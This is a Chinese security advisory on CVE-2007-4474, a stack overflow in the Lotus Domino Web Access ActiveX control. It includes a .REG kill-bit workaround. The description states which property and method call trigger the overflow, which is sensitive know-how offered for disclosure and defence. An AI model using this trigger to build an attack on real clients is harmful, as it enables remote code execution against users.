描述：
BUGTRAQ ID:
26972CVE(CAN) ID:
CVE-2007-4474IBM Lotus Domino Web Access是Lotus Domino服务器基于web的消息和协作界面。
IBM Lotus Domino Web Access的dwa7.dwa7.1 ActiveX控件（dwa7W.dll）在处理传送给General_ServerName属性的参数时存在栈溢出漏洞，远程攻击者可能利用此漏洞控制用户客户端。
如果为该属性分配了超长的字符串然后调用了InstallBrowserHelperDll()方式的话，就会触发这个溢出，导致执行任意指令。

建议：
临时解决方法：
如果您不能立刻安装补丁或者升级，NSFOCUS建议您采取以下措施以降低威胁：
* 在IE中禁用Domino Web Access ActiveX控件，为以下CLSID设置kill bit：
{3BFFE033-BF43-11d5-A271-00A024A51325}
{E008A543-CEFB-4559-912F-C27C2B89F13B}
或将以下文本保持为.REG文件并导入：
Windows Registry Editor Version 5.00
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{3BFFE033-BF43-11d5-A271-00A024A51325}]
"Compatibility Flags"=dword:00000400
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Internet Explorer\ActiveX Compatibility\{E008A543-CEFB-4559-912F-C27C2B89F13B}]
"Compatibility Flags"=dword:00000400
